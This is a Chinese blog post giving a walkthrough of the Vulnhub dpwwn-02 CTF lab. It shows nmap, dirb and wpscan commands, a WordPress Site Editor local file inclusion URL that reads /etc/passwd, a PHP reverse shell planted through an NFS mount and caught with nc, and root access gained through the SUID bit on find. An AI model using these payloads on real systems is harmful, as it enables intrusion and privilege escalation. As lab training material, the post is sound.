Vulnhub-dpwwn-02渗透测试攻略

发表于 2019-08-22  376 次阅读


上一节完成了dpwwn-01,本次开始dpwwn-02的CTF游戏,难度(中级)。

0x01、在https://www.vulnhub.com/entry/dpwwn-2,343/拿到虚拟机文件后导入虚拟机,打开虚拟机电源后确认了系统是ubuntu-19.04 ,蛮新的操作系统。

0x02、此虚拟机的网络配置为“仅主机”模式,需要把进行攻击的机器与此虚拟主机改为同一网络模式并设置在一个网络内可以相互访问,本次攻击者使用的IP为:10.10.10.129,使用kali操作系统。被攻击者的IP为:10.10.10.10,在dpwwn-02下载页面作者已经给出相关网络配置描述,可以直接利用。

0x03、先使用nmap对被攻击者的机器进行一次常规扫描,探测主机开放的服务。

习惯性:nmap -T4 -n -v 10.10.10.10
可以看到它开放了80和443同为HTTP服务,111和2049为NFS服务(网络文件系统-NFS 是sun微系统最初开发的分布式文件系统协议,允许客户端计算机上的用户通过计算机网络访问文件很像本地存储被访问)。

0x04、使用浏览器打开10.10.10.10查看此虚拟机80端口上所运行的页面。

看页面和前端源码并没有什么线索

0x05、在kali内使用dirb扫描网站目录。

dirb http://10.10.10.10
暴破网站目录发现网站存在wordpress博客系统。wordpress可以说是世界上应用最广泛的内容发布系统,广泛应用于个人博客,企业网站和各类网站,因此在kali内有专门针对wordpress的漏洞扫描器"wpscan"

0x06、使用wpscan对http://10.10.10.10/wordpress进行扫描。

wpscan --url http://10.10.10.10/wordpress/
发现很wordpress内很经典的一个本地文件包含漏洞

0x07、对此Site Editor的本地文件包含漏洞进行测试。漏洞信息请见https://www.cesafe.com/3327.html

http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
可以包含出来linux服务器内的账号信息因此漏洞成立

在确认存在这个文件包含漏洞后走了许多弯路,尝试远程的一句话木马包含、尝试找过网站的RCE都没任何结果,一度陷入卡壳,通过HTTP getshell路堵的死死的。奈何自己基本功太浅不了解NFS协议,经过一翻查找资料才找到NFS的用法。

在kali内安装了nfs客户端

0x08、使用show mount -e 10.10.10.10查看被攻击主机的NFS路径,找到了线索。

mkdir /mnt/nfs #创建挂载目标

showmount -e 10.10.10.10 #查看被攻击者的NFS可供挂载的目标

mount -t nfs 10.10.10.10:/home/dpwwn02 /mnt/nfs #进行目标挂载

完成运行df -h可以看到目录已经被挂载

0x09、挂载成功后,我尝试在此目录新建了一个1.txt 内容为“test”,之后使用wordpress的本地文件包含访问成功。

访问成功1.txt显示了文本内容

0x09、随即我找到kali自带的 /usr/share/webshells/php/php-reverse-shell.php脚本,并编辑此反弹型shell脚本,修改IP为攻击者主机的IP:

0x10、复制此shell至/mnt/nfs目录

0x13、在攻击者的电脑使用nc监听1234端口。复制http://10.10.10.10/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/home/dpwwn02/php-reverse-shell.php  至浏览器地址栏执行。成功反弹回来一个www-data的用户。
虽然成功反弹回了shell但是并不能直接获得flag

0x14、上传linux枚举脚本查找提权方法, 三部曲:下载、加权限、执行。

10.10.10.1是我的物理主机,有现成的各类脚本和http服务,你也可以在kali内搭建。
看脚本执行的结果,发现了/usr/bin/find存在suid提权的可能。

0x15、得到flag

尝试find test -exec whoami \; 返回root
尝试ls /root 找到了FLAG的倩影
cat直接得到了flag,任务完成。

通过此次测试玩转了NFS,了解了SUID提权,明白了做类似的CTF题型不能因为不懂不了解就放过蛛丝马迹,多多搜索,搜索引擎是最好的老师。


专注于学习,生活,教育。